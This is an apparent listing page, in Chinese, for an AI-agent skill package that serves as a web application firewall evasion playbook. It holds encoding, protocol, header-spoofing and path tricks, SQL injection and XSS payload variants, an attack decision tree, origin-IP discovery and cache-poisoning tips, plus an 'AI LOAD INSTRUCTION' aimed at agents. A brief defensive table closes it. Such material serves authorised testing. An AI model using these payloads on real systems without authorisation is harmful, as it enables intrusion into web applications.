关于 waf-bypass-techniques
waf-bypass-techniques 是用于识别 WAF 并评估通用规避方法的安全测试技能。它将编码、请求和协议变体整理为测试流程,并指向产品专属参考资料。
主要功能
- 01WAF 识别方法
- 02编码与协议规避分类
- 03HTTP 参数污染测试
- 04路径与内容类型变体
- 05绕过决策流程
适用场景
- 01授权测试中识别 WAF
- 02检查编码规则覆盖范围
- 03测试重复参数处理差异
- 04评估 HTTP/2 与路径规范化
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill waf-bypass-techniques安装后在 Claude Code 中输入/waf-bypass-techniques确认已加载。
附带文件WAF_PRODUCT_MATRIX.md
详细介绍
技能:WAF 绕过技术 — 规避实战手册
AI LOAD INSTRUCTION:介绍 WAF 识别、通用绕过类别(编码、协议滥用、HTTP/2、参数污染)以及决策树。对于特定产品的绕过方法(Cloudflare、AWS WAF、ModSecurity、Akamai 等),请加载 WAF_PRODUCT_MATRIX.md。基础模型通常会建议基本的编码方法,但会遗漏协议层面的绕过方法和 WAF 的行为特征。
0. 相关路由
- 绕过 WAF 后要发送载荷,请参阅 sqli-sql-injection
- 需要规避 WAF 的 XSS 载荷,请参阅 xss-cross-site-scripting
- 可以通过请求走私完全绕过 WAF 时,请参阅 request-smuggling
- http-parameter-pollution:HPP 本身就是一种 WAF 绕过手段
- WAF 会拦截内联脚本,但可用 CSP 绕过时,请参阅 csp-bypass-advanced
- ghost-bits-cast-attack 仅适用于 Java 后端 — 上述编码技巧全部被拦截时,可使用 Ghost Bits:Java 的 16 位
char转 8 位byte时会发生窄化,从而为每个危险 ASCII 字节生成 255 种 Unicode 绕过变体;可重新利用 Tomcat、Spring、Jetty、Jackson、Fastjson、BCEL 等产品中已通过 WAF 修补的 CVE
特定产品参考
需要针对 Cloudflare、AWS WAF、ModSecurity CRS、Akamai、Imperva、F5 BIG-IP 或 Sucuri 的产品级绕过技术时,请加载 WAF_PRODUCT_MATRIX.md。
1. 阶段 0 — 识别 WAF
绕过之前,先了解你要对付的对象。
1.1 工具
| 工具 | 用法 |
|---|---|
wafw00f target.com | 根据响应标头和行为识别 WAF 供应商 |
nmap --script=http-waf-detect | 用于检测 WAF 的 NSE 脚本 |
| 手动检查标头 | Server、X-CDN、X-Cache、cf-ray(Cloudflare)、x-sucuri-id、x-akamai-* |
1.2 行为指纹识别
1. Send benign request → record baseline response (status, headers, body size)
2. Send obvious attack: /?q=<script>alert(1)</script>
3. Compare: 403? Custom block page? Redirect? Connection reset?
4. Block page content reveals WAF: "Cloudflare", "Access Denied (Imperva)", "ModSecurity"
5. If transparent proxy: check response time difference (WAF adds latency)
2. 通用绕过类别
2.1 编码绕过
| 技术 | 示例 | 可绕过的情况 |
|---|---|---|
| URL 编码 | %3Cscript%3E | 基本字符串匹配 |
| 双重 URL 编码 | %253Cscript%253E | 只解码一次而应用会解码两次的 WAF |
| Unicode 编码 | %u003Cscript%u003E | IIS 特有的 Unicode 规范化 |
| HTML 实体 | <script> 或 <script> | 不执行 HTML 实体解码的 WAF |
| 十六进制编码(SQL) | 0x756E696F6E = union | 匹配 SQL 关键字的 WAF |
| 八进制编码 | \74script\76 | 较少见,但部分解析器会处理 |
| 过长 UTF-8 | %C0%BC(< 的无效编码) | 对 UTF-8 处理宽松的旧版解析器 |
| 大小写混用 | SeLeCt、uNiOn | 区分大小写的规则匹配 |
| 空字节 | sel%00ect | 在空字节处停止解析的 WAF |
2.2 分块传输编码
将载荷拆分到多个 HTTP 分块中,使任何单个分块都不包含被拦截的模式:
POST /search HTTP/1.1
Transfer-Encoding: chunked
3
sel
3
ect
1
4
from
0
检查完整请求体的 WAF 可能不会在匹配前重新组装分块。
2.3 HTTP/2 二进制格式绕过
HTTP/2 以二进制 HPACK 编码帧传输标头。部分 WAF 只会在降级到 HTTP/1.1 后进行检查:
- 标头名称可以包含 HTTP/1.1 中不合法的字符
- 伪标头(
:method、:path)可绕过基于标头的 WAF 规则 - H2 → H1 降级可能引发请求走私(参见 request-smuggling)
2.4 HTTP 参数污染(HPP)
不同服务器对重复参数的处理方式不同:
| 服务器 | 对 ?a=1&a=2 的处理方式 |
|---|---|
| PHP/Apache | 取最后一个值:a=2 |
| ASP.NET/IIS | 拼接:a=1,2 |
| Python/Flask | 取第一个值:a=1 |
| Node.js/Express | 数组:a=[1,2] |
WAF 检查 a=1(无害),应用使用 a=2(恶意)。也可以组合使用:a=sel&a=ect → ASP.NET 会将其解析为 a=sel,ect。
2.5 IP 来源欺骗(绕过基于 IP 的规则)
部分 WAF/应用信任的客户端 IP 标头:
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
使用场景:WAF 将内部 IP 列入白名单,或根据来源使用不同的规则集。
2.6 路径规范化技巧
| 技术 | 示例 | 效果 |
|---|---|---|
| 点号片段 | /./admin 或 /../target/admin | WAF 看到的路径与应用不同 |
| 双斜杠 | //admin | 某些规范化器会合并斜杠,WAF 则可能不会 |
| 对路径进行 URL 编码 | /%61dmin | WAF 看到的是编码后的路径,应用会解码 |
| 路径中的空字节 | /admin%00.jpg | 旧版行为:应用在空字节处截断,WAF 看到的是 .jpg |
| 反斜杠(IIS) | /admin\..\/secret | IIS 将 \ 视为 / |
| 末尾的点/空格 | /admin. 或 /admin%20 | 操作系统级规范化(Windows) |
| 分号(Tomcat) | /admin;jsessionid=x | Tomcat 会移除 ; 之后的内容,WAF 则可能不会 |
2.7 Content-Type 操纵
WAF 通常会使用特定格式的解析器。切换 Content-Type 可以绕过规则:
Default: Content-Type: application/x-www-form-urlencoded → WAF parses params
Switch: Content-Type: application/json → WAF may not parse JSON body
Switch: Content-Type: multipart/form-data → WAF may not inspect all parts
Switch: Content-Type: text/xml → WAF expects XML, payload in different format
技巧:如果应用同时接受 JSON 和 form-urlencoded 格式,则使用 JSON——WAF 对 JSON 的检查规则通常较弱。
2.8 Multipart 边界滥用
Content-Type: multipart/form-data; boundary=----WAFBypass
------WAFBypass
Content-Disposition: form-data; name="q"
<script>alert(1)</script>
------WAFBypass--
变化形式:很长的边界字符串、包含特殊字符的边界、缺少结束边界、嵌套 multipart。
2.9 换行符与空白字符注入
-- SQL keyword splitting
SEL
ECT * FROM users
-- SQL comment insertion
SEL/**/ECT * FR/**/OM users
UN/**/ION SEL/**/ECT 1,2,3
-- Tab/vertical tab as separator
SELECT\t*\tFROM\tusers
2.10 关键词拆分与替代语法
| 被拦截 | 替代形式 |
|---|---|
UNION SELECT | UNION ALL SELECT、UNION DISTINCT SELECT |
OR 1=1 | OR 2>1、OR 'a'='a'、` |
<script> | <svg/onload=alert(1)>、<img src=x onerror=alert(1)> |
alert(1) | prompt(1)、confirm(1)、print()(Chrome) |
eval() | Function('code')()、setTimeout('code',0) |
' OR '1'='1 | ' OR 1-- -、'||'1 |
SLEEP(5) | BENCHMARK(5000000,SHA1('x'))、pg_sleep(5) |
3. 协议层绕过技巧
3.1 请求行滥用
GET /path?q=attack HTTP/1.1 ← WAF inspects
与之相比:
GET http://target.com/path?q=attack HTTP/1.1 ← Absolute URI: some WAFs miss the path
3.2 通过 CRLF 注入标头
如果 WAF 检查的是原始标头,而应用处理的是注入后的标头:
X-Custom: value\r\nX-Forwarded-For: 127.0.0.1
3.3 连接状态绕过
1. Establish connection through WAF (normal request)
2. On same keep-alive connection, send attack request
3. Some WAFs reduce inspection on subsequent requests in same connection
4. WAF 绕过决策树
Payload blocked by WAF?
├── Identify WAF (wafw00f, response headers, block page)
│
├── Try encoding bypasses
│ ├── URL encode payload → still blocked?
│ ├── Double URL encode → still blocked?
│ ├── Unicode/overlong UTF-8 → still blocked?
│ ├── Mixed case keywords → still blocked?
│ └── HTML entities (for XSS) → still blocked?
│
├── Try protocol-level bypasses
│ ├── Switch Content-Type (JSON, multipart, XML)
│ │ └── App accepts alternate format? → re-send payload
│ ├── HTTP Parameter Pollution (duplicate params)
│ ├── Chunked Transfer-Encoding to split payload
│ ├── HTTP/2 direct if available (binary framing bypass)
│ └── Request line: absolute URI format
│
├── Try path-based bypasses
│ ├── Path normalization (/./path, //path, ;param)
│ ├── Different HTTP method (POST vs PUT vs PATCH)
│ └── Alternate endpoint serving same function
│
├── Try payload mutation
│ ├── SQL: comments (/**/), alternative functions, hex literals
│ ├── XSS: alternative tags/events, JS template literals
│ ├── RCE: wildcard abuse, string concatenation, variable expansion
│ └── Check WAF_PRODUCT_MATRIX.md for vendor-specific mutations
│
├── Try IP-source bypass
│ ├── X-Forwarded-For / True-Client-IP spoofing
│ ├── Access origin server directly (bypass CDN)
│ └── Find origin IP (Shodan, historical DNS, email headers)
│
└── Try request smuggling to skip WAF entirely
└── See ../request-smuggling/SKILL.md
5. 常见错误与技巧说明
- 通过实际利用来测试绕过,而不只是检查是否返回 200 OK:WAF 可能返回 200,但会悄悄移除载荷。
- WAF 通常有大小限制:超大的请求正文(>8KB–128KB,具体取决于 WAF)可能完全绕过检查。
- 速率限制 ≠ WAF:收到 429 表示触发了速率限制,而非载荷被拦截。需要采用不同的绕过方法。
- CDN 缓存:如果 WAF 位于 CDN 层,后续请求会绕过 WAF,直接获得缓存响应。先用正常请求投毒缓存,再利用缓存。
- 直接访问源站:如果找到 CDN/WAF 后的源站 IP,直接连接即可完全绕过 WAF。
- Multipart 文件上传字段:WAF 通常会跳过对 multipart 上传中文件内容的检查——如果内容会被反射,可将载荷嵌入文件名或文件内容中。
6. 防御视角
| 措施 | 说明 |
|---|---|
| WAF + 应用层输入验证 | WAF 是一道防线,不是修复方案 |
| 参数化查询 | 无论是否使用 WAF,都能消除 SQLi |
| CSP + 输出编码 | 无论是否使用 WAF,都能消除 XSS |
| 定期更新 WAF 规则 | 厂商签名的更新往往滞后于新的绕过手法 |
| 默认拒绝,而非使用阻止列表 | 允许符合有效输入模式的内容 |
| 记录 WAF 拦截日志并发出警报 | 绕过尝试会留在日志中 |